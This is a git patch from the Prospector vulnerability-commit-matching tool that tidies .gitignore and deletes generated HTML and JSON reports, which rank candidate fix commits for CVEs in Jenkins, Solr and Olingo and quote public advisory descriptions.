- java.util.Calendar - java.util.Date - java.sql.Timestamp - java.lang.Long EdmDate - java.time.LocalDate - java.sql.Date EdmTimeOfDay - java.time.LocalTime - java.sql.Time Only these mappings capture the semantics correctly. For legacy reasons also supported are the following mappings are still supported: EdmDate - java.util.Calendar (date component in the TZ of the calendar) - java.util.Date (date component in UTC) - java.sql.Timestamp (date component in UTC) - java.lang.Long (date component in UTC) EdmTimeOfDay - java.util.Calendar (time component in the TZ of the calendar) - java.util.Date (time component in UTC) - java.sql.Timestamp (time component in UTC) - java.lang.Long (time component in UTC) For legacy reasons the default mapping types are unchanged (and remain semantically incorrect): EdmDateTimeOffset -> java.sql.Timestamp EdmDate -> java.util.Calendar EdmTimeOfDay -> java.util.Calendar * Allow additional (but semantically wrong) conversions EdmDate -> java.util.Date, java.sql.Timestamp EdmTimeOfDay -> java.util.Date, java.sql.Timestamp
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDate.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmTimeOfDay.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #56 from ianwallen/OLINGO-1400 [OLINGO-1400]... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 43010c72e3715118368d069d5492358a93b578f1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: request, provide, call
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1400
      +
    • + +
    • +
      The commit message references some github issue: 56
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #56 from ianwallen/OLINGO-1400 [OLINGO-1400] Remove duplicate call to provider.getEntityContainer() in EdmProviderImpl.createEntityContainer
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1421]Handling incorrect message in UriHelperImpl + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a1dfb5596b4266f30ae503d3d3e116f269561640 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: resource, server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1421
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1421]Handling incorrect message in UriHelperImpl
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/server-api/src/main/java/org/apache/olingo/server/api/serializer/SerializerException.java + + lib/server-core/src/main/java/org/apache/olingo/server/core/uri/UriHelperImpl.java + + lib/server-core/src/main/resources/server-core-exceptions-i18n.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1417]Serach query to support + + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1df2f4aa67e9ed5c3cc10f3abc65f9e1fd7ee042 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1417
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1417]Serach query to support +
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/server-core/src/main/java/org/apache/olingo/server/core/uri/parser/search/SearchTokenizer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1417]OData V4: Adopt search option based on new V4 abnf + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dfe1dd288c4f706a91b59a620f30c0c60b2ce1d7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1417
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1417]OData V4: Adopt search option based on new V4 abnf
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/server-core/src/main/java/org/apache/olingo/server/core/uri/parser/search/SearchTokenizer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1414] Updated netty-codec to 4.1.43.Final + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_LINKED_BUG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 356cdbd3d8b95b2aa7bbc7b3114516c3c2eb30ce +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The bug tracking ticket OLINGO-1414 contains some security-related terms: vulnerability
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1414
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1414] Updated netty-codec to 4.1.43.Final
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1408] Fix tests + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 636fdde13dda35d9decae1768d9846f04bb355d9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1408
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1408] Fix tests
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/server-tecsvc/src/main/java/org/apache/olingo/server/tecsvc/data/DataCreator.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #59 from artem-smotrakov/better-xml-parsing... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3cf93d5e061bad59b57c7ccd938fad8ba1a187b0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: request
      +
    • + +
    • +
      The commit message references some github issue: 59
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #59 from artem-smotrakov/better-xml-parsing Better XML parsing
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1407] Updated dependency versions + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 85d660c6d87e9a45493bc29306bd6d065af8a88e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1407
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1407] Updated dependency versions
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1407] Updated Jackson version + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ae416b56094b046a6c9882c67b7fb268b56f1644 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1407
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1407] Updated Jackson version
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1406] Added scm link + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ba36402dede2b3a9ef5e58a91866567efa9b41f8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1406
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1406] Added scm link
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1408] Minor change to fix tests + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ec603917e5cc7bc5c8caf917435ec890b632fd84 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1408
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1408] Minor change to fix tests
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file From ebd9efbe65571f0912620887e7df0c6e4d87b9b1 Mon Sep 17 00:00:00 2001 From: I748376 Date: Thu, 29 Aug 2024 14:10:47 +0000 Subject: [PATCH 10/10] orders and cleans up gitignore --- .gitignore | 46 +- ..._5806f368-d4f2-44cb-84ba-c5513bb9c3de.html | 300 - ..._5806f368-d4f2-44cb-84ba-c5513bb9c3de.json | 123 - ..._5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html | 5477 --- ..._5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json | 2157 - ..._dadd7e2d-e33b-4fb8-85af-5850284379d9.html | 353 - ..._dadd7e2d-e33b-4fb8-85af-5850284379d9.json | 144 - ..._f6df4f22-2cce-453a-80a8-615cc55b8664.html | 32435 ---------------- ..._f6df4f22-2cce-453a-80a8-615cc55b8664.json | 20090 ---------- ..._08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html | 16695 -------- ..._08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json | 5841 --- ..._c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html | 9552 ----- ..._c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json | 2402 -- ..._1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html | 8564 ---- ..._1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json | 2333 -- prospector/pipeline/reports/report.html | 0 prospector/pipeline/reports/report1.html | 4518 --- 17 files changed, 19 insertions(+), 111011 deletions(-) delete mode 100644 prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html delete mode 100644 prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json delete mode 100644 prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html delete mode 100644 prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json delete mode 100644 prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html delete mode 100644 prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json delete mode 100644 prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html delete mode 100644 prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json delete mode 100644 prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.html delete mode 100644 prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json delete mode 100644 prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html delete mode 100644 prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.json delete mode 100644 prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html delete mode 100644 prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json delete mode 100644 prospector/pipeline/reports/report.html delete mode 100644 prospector/pipeline/reports/report1.html diff --git a/.gitignore b/.gitignore index f889bfb8c..8d79fa9b0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,9 +1,23 @@ +# General site **/merge.log -.kaybee */cpu.prof *.pyc *git-cache* +*.log +*.log.* +**/cov_html +.coverage +similarities.csv + +# Virtual environment +**/.venv/ + +# VSCode Settings +**/.vscode/ + +# Regarding KB +.kaybee kaybee/internal/repository/profile001.pdf kaybee/internal/repository/repository.test kaybee/internal/tasks/.kaybee @@ -12,10 +26,9 @@ kaybee/internal/tasks/profile001.pdf kaybee/internal/tasks/tasks.test kaybee/internal/repository/cpu.prof kaybee/kaybee.code-workspace -.vscode/launch.json -.vscode/task.code-snippets kaybee/coverage.out kaybee/kaybee +kaybee/internal/reconcile/debug.test kaybee/internal/.kaybee/**/* kaybee/dist/** kaybee/kaybeeconf.yaml @@ -25,9 +38,9 @@ kaybee/steady.sh kaybee/kaybeeconf-custom.yaml kaybee/kaybee-new-statements kaybee/pkged.go -*.log -*.log.* kaybeeconf.yaml + +# Regarding Prospector prospector/.env prospector/workspace.code-workspace prospector/disabled_tests/skip_test-commits.db @@ -35,40 +48,19 @@ prospector/disabled_tests/skip_test-vulnerabilities.db prospector/tracer_dataset_final_2 prospector/results prospector/*.py -prospector/.vscode/launch.json -prospector/.vscode/settings.json prospector/install_fastext.sh -prospector/nvd.ipynb -prospector/data/nvd.pkl -prospector/data/nvd.csv -prospector/data_sources/reports -.vscode/settings.json prospector/cov_html/* -prospector/client/cli/cov_html/* prospector/config.yaml -prospector/client/web/node-app/node_modules prospector/.coverage.* prospector/.coverage -**/cov_html prospector/cov_html -.coverage -prospector/.venv prospector/prospector.code-workspace prospector/requests-cache.sqlite prospector/prospector-report.html prospector/test_report.html prospector/test_report.json prospector/.idea/* -similarities.csv prospector/*.html prospector/*.json -requests-cache.sqlite -prospector/output.png -prospector/output.pstats -prospector/kaybee-new-statements -prospector/run.sh -prospector/cve_data prospector/evaluation -.DS_Store -kaybee/internal/reconcile/debug.test -prospector/client/web/node-app/build +.DS_Store \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html deleted file mode 100644 index 979fd8aba..000000000 --- a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.html +++ /dev/null @@ -1,300 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - - -
    -

    Advisory Record

    - CVE-2019-16572
    -

    Jenkins Weibo Plugin 1.0.1 and earlier stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system.

    - - - -
    Other relevant keywords
    -

    - -

  • access
  • - - -
  • configuration
  • - - -
  • credential
  • - - -
  • file
  • - - -
  • jenkins
  • - - -
  • master
  • - - -
  • plugin
  • - - -
  • store
  • - - -
  • system
  • - - -
  • user
  • - - -
  • view
  • - - -
  • weibo
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.002072 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.0009302739053964615 seconds
                • deviation = 0.001300225008205017 seconds
                • median = 0.0009302739053964615 seconds
                • count = 2
                • sum = 0.001860547810792923 seconds
      • candidates = 0 commits
      • commit preprocessing
        • execution time = 0.0001336 seconds
      • candidates analysis
        • execution time = 0.02646 seconds
      • execution time = 1.808 seconds
    • rules
      • active = 17 rules
      • matches = 0 matches
    • LLM
      • repository_url
        • execution time = 1.429 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json b/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json deleted file mode 100644 index d4e4a4dbf..000000000 --- a/prospector/pipeline/reports/CVE-2019-16572_5806f368-d4f2-44cb-84ba-c5513bb9c3de.json +++ /dev/null @@ -1,123 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2019-16572", - "repository_url": "https://github.com/jenkinsci/jenkins", - "version_interval": "None:1.0.2", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2019-16572", - "description": "Jenkins Weibo Plugin 1.0.1 and earlier stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system.", - "reserved_timestamp": 1568937600, - "published_timestamp": 1576593655, - "updated_timestamp": 1723232643, - "repository_url": null, - "references": { - "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1597": 2, - "http://www.openwall.com/lists/oss-security/2019/12/17/1": 2 - }, - "affected_products": [ - "Plugin", - "Weibo", - "Jenkins", - "Jenkins Weibo Plugin" - ], - "versions": { - "lessThanOrEqual": "1.0.1", - "status": "affected", - "version": "unspecified", - "versionType": "custom" - }, - "files": [], - "keywords": [ - "store", - "credential", - "system", - "access", - "user", - "plugin", - "view", - "file", - "master", - "configuration", - "weibo", - "jenkins" - ], - "files_extension": [], - "has_fixing_commit": false - }, - "commits": [], - "processing_statistics": { - "core": { - "retrieval of commit candidates": { - "execution time": [ - 0.0020722728222608566 - ] - }, - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.0018496718257665634, - 1.0875985026359558e-05 - ] - } - } - } - }, - "candidates": 0, - "commit preprocessing": { - "execution time": [ - 0.00013364851474761963 - ] - }, - "candidates analysis": { - "execution time": [ - 0.026456749066710472 - ] - }, - "execution time": [ - 1.8081965018063784 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 0 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.4294230211526155 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html deleted file mode 100644 index 3fd6526ab..000000000 --- a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.html +++ /dev/null @@ -1,5477 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2023-50298
    -

    Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1. - -Solr Streaming Expressions allows users to extract data from other Solr Clouds, using a "zkHost" parameter. -When original SolrCloud is setup to use ZooKeeper credentials and ACLs, they will be sent to whatever "zkHost" the user provides. -An attacker could setup a server to mock ZooKeeper, that accepts ZooKeeper requests with credentials and ACLs and extracts the sensitive information, -then send a streaming expression using the mock server's address in "zkHost". -Streaming Expressions are exposed via the "/streaming" handler, with "read" permissions. - -Users are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue. -From these versions on, only zkHost values that have the same server address (regardless of chroot), will use the given ZooKeeper credentials and ACLs when connecting. - -

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • ACLs
    • - -
    • Solr
    • - -
    • SolrCloud
    • - -
    • This
    • - -
    • zkHost
    • - -
    • ZooKeeper
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • accept
  • - - -
  • actor
  • - - -
  • address
  • - - -
  • affect
  • - - -
  • allow
  • - - -
  • apache
  • - - -
  • attacker
  • - - -
  • chroot
  • - - -
  • clouds
  • - - -
  • connect
  • - - -
  • credential
  • - - -
  • datum
  • - - -
  • expose
  • - - -
  • exposure
  • - - -
  • expression
  • - - -
  • expressions
  • - - -
  • extract
  • - - -
  • give
  • - - -
  • handler
  • - - -
  • have
  • - - -
  • information
  • - - -
  • issue
  • - - -
  • parameter
  • - - -
  • permission
  • - - -
  • provide
  • - - -
  • read
  • - - -
  • recommend
  • - - -
  • request
  • - - -
  • send
  • - - -
  • sensitive
  • - - -
  • server
  • - - -
  • setup
  • - - -
  • solr
  • - - -
  • solrcloud
  • - - -
  • stream
  • - - -
  • streaming
  • - - -
  • unauthorized
  • - - -
  • upgrade
  • - - -
  • user
  • - - -
  • value
  • - - -
  • version
  • - - -
  • vulnerability
  • - - -
  • zookeeper
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.02454 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.02434 seconds
      • candidates = 41 commits
      • commit preprocessing
        • execution time = 0.05642 seconds
      • candidates analysis
        • execution time = 0.3947 seconds
      • save commits to backend
        • execution time = 0.03555 seconds
      • execution time = 2.898 seconds
    • rules
      • active = 17 rules
      • matches = 167 matches
    • LLM
      • repository_url
        • execution time = 1.664 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.016033098846673966 seconds
          • deviation = 0.0008028324026679636 seconds
          • median = 0.01598429959267378 seconds
          • count = 10
          • sum = 0.16033098846673965 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 98 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - RELEVANT_WORDS_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 61c956c426b2cfb85ccef55d1afca4335eacd269 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098
      -
    • - -
    • -
      The commit message contains some relevant words: ACLs
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, Solr, ACLs, zkHost
      -
    • - -
    • -
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solr-ref-guide/src/stream-decorator-reference.adoc, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/test-files/solrj/solr/solr.xml, solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java, solr/solr-ref-guide/src/stream-source-reference.adoc, solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-17098 contains some security-related terms: security
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: read, stream, provide, clouds
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-17098
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from commit e2bf1f434aad873fbb24c21d46ac00e888806d98)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/core/CoreContainer.java - - solr/solr-ref-guide/src/stream-decorator-reference.adoc - - solr/solr-ref-guide/src/stream-source-reference.adoc - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java - - solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java - - solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - - solr/solrj/src/test-files/solrj/solr/solr.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16777: Fix for Schema Designer blindly trusting potentially... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 94 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4ac1d59918c250bffb09899572bd92054cee063a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious
      -
    • - -
    • -
      The commit message contains some security-related keywords: malicious
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16777
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16777: Fix for Schema Designer blindly trusting potentially malicious configsets
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16777: Schema Designer now correctly manages trust of the... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 92 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
